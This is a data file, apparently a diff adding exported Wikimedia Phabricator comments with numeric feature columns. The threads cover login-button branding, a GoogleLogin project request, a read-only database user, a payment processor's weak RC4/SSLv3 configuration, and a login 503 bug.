+",,,1414535779,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1
+4404,Wikimedia name and logo in Wikimedia SUL login button,"My recommendation is to upstream a control called with no icon and the text ""Login with Mediawiki"" and when we can make a purpose-built controls with some amount of branding for ourselves, both the language ""WikiID"" and a term and iconography specific to the foundation. 
+
+
+
+",,,1414534175,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+4400,Wikimedia name and logo in Wikimedia SUL login button,Reply regarding the trademark issue: we need to use the entire thing. So the brackets need to be included or the flower should not be used.,,,1414532652,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+4398,Wikimedia name and logo in Wikimedia SUL login button,"I've asked Yana if it's a trademark problem. Branding-wise, the flower alone is probably the best solution with what you have, and we don't have strong guidelines set for Mediawiki. I made a black and white (but not exactly pretty) version for the trademark recording process if it helps at all. The flower with brackets is fairly hard to parse at small scale as we know.
+{F542}",,,1414531039,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,1,0
+4397,Wikimedia name and logo in Wikimedia SUL login button,to clarify @mmodell point is that the implementation we are using now is //mediawiki// specific not //wikimedia// specific. e.g. if someone had their own mediawiki install and phabricator install set up they could use their own mediawiki install to use for login. So why my design was specific to our use case @mmodell would prefer we have something reusable by others. @mmodell correct me if i misunderstood any of that please. ,,,1414529935,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1,1,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,0,1,1,0,0,0
+4395,Wikimedia name and logo in Wikimedia SUL login button,"Why is it just using part of the logo? Can the flower/button just be removed? Otherwise I think we need a stronger solution for the logo in this sort of context.
+
+And yeah, the log in process is really confusing. I already forgot that I wanted to use the bottom button instead of the much more prominent box after I logged myself out.",,,1414529602,,PHID-USER-knbmmak3xwzimqab2psq,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,1,1,1,1,1,0,0
+4390,Wikimedia name and logo in Wikimedia SUL login button,"@heather a stylized version of the mediawiki flower is being used on an upstream submission to phabricator, is this an issue from comms/branding perspective? you can see it in action [[ https://phabricator.wikimedia.org/auth/start/ | here ]] when you are logged out. 
+",,,1414528125,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1
+2944,Wikimedia name and logo in Wikimedia SUL login button,"Understood, and I imagined that this was the cause. Ok, we can revisit this if/when we have other wikis using this plugin and all of them want their own branding.  :)
+
+I still fear that many users will be confused about the MediaWiki button (""But I don't have a mediawiki.org account!"", even if that is not true). Let's discuss at {T545}",,,1412413111,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-39,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+2942,Wikimedia name and logo in Wikimedia SUL login button,"The image and name was chosen because the plugin was submitted upstream for inclusion in Phabricator. It's not a plugin for the Wikimedia organization, it's in fact MediaWiki oauth and can be used by any phabricator user who needs to authenticate against a mediawiki install.
+
+The complication is this:  It's not very easy to customize the logo because it's incorporated into a sprite sheet image and the image will change upstream every time they include a new oauth plugin for another 3rd party service. It will become quite cumbersome to deal with the merge conflicts every time we want to update phabricator and pull in conflicting changes from upstream.",,,1412379076,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-fphjxfjgtjw7uq5ugnil,task_subcomment,,True,c3,1,True,,,-39,True,1,0,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+316,GoogleLogin as project in Phabricator,"I would like to ask, if my little project [[ https://www.mediawiki.org/wiki/Extension:GoogleLogin | GoogleLogin ]] can become a project place here in phabricator?
+
+The Extension provides a ""Login with Google"" functionallity to MediaWiki to login into the MediaWiki account using the Google Login information.
+
+If yes: The standard permissions looks good :)
+
+Reference: http://lists.wikimedia.org/pipermail/wikitech-l/2014-July/077767.html",Needs Triage,90.0,1406120589,1410486240.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-udaznqsf7vqxjw4x77h6,task_description,resolved,True,c3,1,True,False,True,-50,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1
+2240,GoogleLogin as project in Phabricator,//importing issue status//,,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+2239,GoogleLogin as project in Phabricator,"**Florian** wrote on `2014-07-29 18:35:14 (UTC)`
+
+Thanks @qgil!",,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0
+2238,GoogleLogin as project in Phabricator,"**qgil** wrote on `2014-07-29 13:41:20 (UTC)`
+
+Project created at http://fab.wmflabs.org/project/view/63/
+
+There is an ongoing discussion about project naming conventions, but I don't think we need to make @Florian wait more. All projects in this instance have been created without any convention and they can be renamed if needed.",,,1410486239,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-udaznqsf7vqxjw4x77h6,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,0,1,0,0
+76109,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"[] change puppet database module to add a new read-only user named ""research""",High,80.0,1417043276,1418757692.0,PHID-USER-p3bvg5sos3lhe33uou2s,False,PHID-USER-mwkkwzbzlkvdl4w2og44,False,PHID-TASK-hfmtbwcebs3opo364lfx,task_description,resolved,True,c3,1,True,False,True,-32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1
+601644,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267867 had a related patch set uploaded (by Alexandros Kosiaris):
+otrs: OTRS search slow, increase between_bytes_timeout
+
+[[https://gerrit.wikimedia.org/r/267867]]
+",,,1454417757,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+601643,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267868 had a related patch set uploaded (by Alexandros Kosiaris):
+misc-web: Route ticket.wikimedia.org to mendelevium
+
+[[https://gerrit.wikimedia.org/r/267868]]
+",,,1454417756,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+601642,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 267872 had a related patch set uploaded (by Alexandros Kosiaris):
+ticket.wikimedia.org: Move over to misc-web
+
+[[https://gerrit.wikimedia.org/r/267872]]
+",,,1454417685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,3,False,,,30,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+400655,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 180222 abandoned by Milimetric:
+Adding 'research' read only user to wikimetrics db
+
+Reason:
+though this change seems good and complete, it looks like we're not going to use it.
+
+[[https://gerrit.wikimedia.org/r/180222]]",,,1421420763,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,False,,,-24,True,0,0,0,0,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+343033,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"User ""research"" only has permits to ""wikimetrics"" database.",,,1418757681,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0
+343030,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Per ottomat's suggestion we just run the grants for the read only user in production (use is called ""research"") rather than puppetize teh setup. User is available as of today.",,,1418757626,,PHID-USER-mwkkwzbzlkvdl4w2og44,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+343014,Wikimetrics auditor has read-only login to Wikimetrics DB [3 pts],"Change 180222 had a related patch set uploaded (by Nuria):
+Adding 'research' read only user to wikimetrics db
+
+[[https://gerrit.wikimedia.org/r/180222]]
+
+#patch-for-review",,,1418755581,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfmtbwcebs3opo364lfx,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+75644,Payment processor website uses RC4 for https encryption,"**Author:** `axel+wikimedia`
+
+**Description:**
+Hi,
+When trying to make a donation, after entering the amount I wanted to donate I was redirected to a server, ott9.wpstn.com.
+From what I can tell, it's a WorldPay.ca (payment processor) server.
+
+Having configured Firefox to refuse all connections using the RC4 cipher for SSL/TLS (as RC4 is deprecated and considered insecure), I was not able to establish a connection to the server (Firefox shows the “no cipher overlap” error).
+
+An SSL test for the domain shows that it indeed offers RC4 (and nothing else):
+https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com
+
+This is bad. RC4-encrypted traffic has been likened by some infosec researchers to “no encryption” and the NSA can allegedly break it in real-time.
+
+Here is the (very poor) list of ciphers offered by the server:
+TLS_RSA_WITH_RC4_128_MD5 (0x4) 	128
+TLS_RSA_WITH_RC4_128_SHA (0x5) 	128
+TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)   ECDH 571 bits (eq. 15360 bits RSA)   FS		128
+
+Furthermore, the server is still offering SSLv3. That should also be disabled, following the POODLE vulnerability published about a month ago.
+
+The server should be offering modern encryption (forward secrecy, no SSL, strong non-deprecated ciphers).
+Here is a good guide on how to do it on Apache2:
+https://raymii.org/s/tutorials/Strong_SSL_Security_On_Apache2.html
+
+I hope this can be resolved quickly as the Wikipedia fundraising campaign is ongoing and I don't feel comfortable giving in such conditions nor recommending others do so, even if I believe it is really important they do support Wikipedia, when the payment processor's security is in such a sad state.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: major",High,80.0,1416479220,1418447589.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-TASK-rztl5jtgoompxnmhf4iv,task_description,resolved,True,c3,1,False,False,True,-32,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,1,0,0,1,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+341864,Payment processor website uses RC4 for https encryption,"It seems they have fixed the issue. They have enabled some cipher suites besides RC4. SSL 3.0 has been disabled.
+
+https://www.ssllabs.com/ssltest/analyze.html?d=ott9.wpstn.com",,,1418447521,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-29,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+339907,Payment processor website uses RC4 for https encryption,"Fair enough. Marking as stalled, as we are still waiting for the third party to resolve this issue. ",,,1418146102,,PHID-USER-tp64che5v7h6hgmz6obb,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,False,,,-30,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+339810,Payment processor website uses RC4 for https encryption,"Thanks for filing this issue. We don't usually close a bug just because a fix is planned; ""Open, stalled"" would be a more standard status (I just checked and the issue wasn't resolved yet).",,,1418132529,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-30,True,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,1,0,0
+332801,Payment processor website uses RC4 for https encryption,"While you may say ""it presents very little risk in this context"", the real issue here is that the existence of RC4-only servers prevents the clients from disabling RC4 ciphers entirely. Browsers have to support RC4 to make these websites, such as Worldpay, ""just work"". According to SSL Pulse, 1.4% of sites require RC4, and 27.3% of sites use RC4 with modern browsers. If there were no such 1.4% sites, browsers could have disabled RC4 ciphers by now so that users are immune to RC4 attacks no matter which websites they visit. However, now **these 1.4% of websites, including Worldpay, make 27.3% of websites in the world vulnerable to RC4 attacks**. You may argue that the 27.3% websites are also wrong in that they support and prioritize RC4 ciphers. That's right. But practically it's easier for RC4-only websites to add more cipher suites, because I see no servers use RC4 only as their default cipher suite list.
+
+Anyway, writing this post, I just want to point out that this is a big issue, regardless of whether ""it presents very little risk in this context"" or not. I hope Worldpay can fix this issue as soon as possible.",,,1416878671,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,True,,,-32,True,0,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+332727,Payment processor website uses RC4 for https encryption,"Thank you for raising this issue. 
+
+While RC4 does have several well-documented vulnerabilities, the best rely on finding short tokens across high volumes of repeated requests, such as session identifiers, which our users don't have with the Worldpay endpoint. Additionally, our Worldpay workflow relies on two endpoints: The public one that you identified, and a private secure endpoint which is used at the beginning of the workflow to issue a one-time token. While RC4 is less than ideal, it presents very little risk in this context.
+
+Additionally, we have recently reached out to Worldpay and learned that they are currently in the process of scheduling a maintenance window in the near future, during which time they will be removing RC4 ciphers, adding TLS ciphers to the public endpoint, and disabling SSL 3.0.",,,1416867643,,PHID-USER-tp64che5v7h6hgmz6obb,False,,,PHID-TASK-rztl5jtgoompxnmhf4iv,task_subcomment,,True,c3,1,False,,,-32,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+75462,Certain users are unable to log into their account (HTTP 503 upon login attempt),"**Author:** `sushant_savla`
+
+**Description:**
+Screen short showing error
+
+----
+
+Users unable to login in most cases, getting error 503 from varnish in return of the login form. If an incorrect password is entered, the form gracefully reloads. The issue seems quite widespread but is hard to reproduce: at least 5 users across 4 wikis.
+
+For each affected user, the issue is often user account- and/or wiki-specific: sometimes a user is unable to access an increasingly large number of wikis; sometimes bypassing caches helps. No other pattern was detected.
+
+Asked for some multi-week grep -c for action=submitlogin&type=login 503 errors in logs, requires shell user.
+Some example timestamps: 15 Nov 2014 11:53:10 GMT, 08 Dec 2014 12:32:30 GMT, 08 Dec 2014 12:59:58 GMT, 10 Dec 2014 15:39:46 GMT, 11 Dec 2014 13:18:26 GMT.
+
+----
+
+When i try login in throogh Mozilla Fire fox i get error message sinc last 4 -5  days.
+
+screen shot of error message enclosed/
+
+Error reads
+
+Wikimedia Foundation
+
+Error
+
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes.
+If you report this error to the Wikimedia System Administrators, please include the details below.
+Request: POST http://gu.wikipedia.org/w/index.php?title=%E0%AA%B5%E0%AA%BF%E0%AA%B6%E0%AB%87%E0%AA%B7:%E0%AA%B8%E0%AA%AD%E0%AB%8D%E0%AA%AF%E0%AA%AA%E0%AB%8D%E0%AA%B0%E0%AA%B5%E0%AB%87%E0%AA%B6&action=submitlogin&type=login&returnto=%E0%AA%AE%E0%AB%81%E0%AA%96%E0%AA%AA%E0%AB%83%E0%AA%B7%E0%AB%8D%E0%AA%A0, from 10.64.0.103 via cp1055 cp1055 ([10.64.32.107]:3128), Varnish XID 3251470154
+Forwarded for: 120.60.225.75, 208.80.154.77, 10.64.0.103
+Error: 503, Service Unavailable at Sat, 15 Nov 2014 11:53:10 GMT
+
+
+Same problem is not there in IE or Opera.
+
+----
+**Attached**: {F15399}",High,80.0,1416053400,1418774627.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sx63fwaih5kjt7bz4u6z,False,PHID-TASK-f6523rlmjhlpvxql3jr5,task_description,resolved,True,c3,1,False,False,True,-33,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+402013,Certain users are unable to log into their account (HTTP 503 upon login attempt),There are recent similar reports from today in {T87300} and {T87305}. Sure this is really fixed? Could someone please take a look at those?,,,1421831825,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-24,True,0,1,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+343317,Certain users are unable to log into their account (HTTP 503 upon login attempt),"Also I confirm that for first time since 4th Dec. 2014, I have been able to login and relogin to fi.wikipedia with existing password normally. I validated this during last 30 min with IE, Firefox and Opera browsers with laptop and/or tablet (i.e. in two different operating systems). So, the problem seems to be solved. Thanks a lot! ",,,1418815707,,PHID-USER-pha3aaz5l5lqgui7tjc6,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,False,,,-29,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+343150,Certain users are unable to log into their account (HTTP 503 upon login attempt),"From enwiki VPT: 
+
+> OK, I was just able to log on. If someone implemented one of the older bug patches mentioned most recently in the ticket, it worked. Daniel Case (talk) 23:42, 16 December 2014 (UTC)",,,1418774627,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1
+343144,Certain users are unable to log into their account (HTTP 503 upon login attempt),"If another user who was experiencing the 503s can confirm they can login now, I'll go ahead and close this. And filed {T78727} for followup.",,,1418774158,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+343138,Certain users are unable to log into their account (HTTP 503 upon login attempt),"@ori noticed that there were OOM error mesages corresponding with the same timestamp as the centralauth debug log entries. After disabling  $wgCentralAuthAutoMigrate, MG1 reported on IRC that they were able to login successfully.
+
+Still unsure why the automigration process was causing OOMs...",,,1418773421,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-f6523rlmjhlpvxql3jr5,task_subcomment,,True,c3,1,True,,,-29,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,0,0
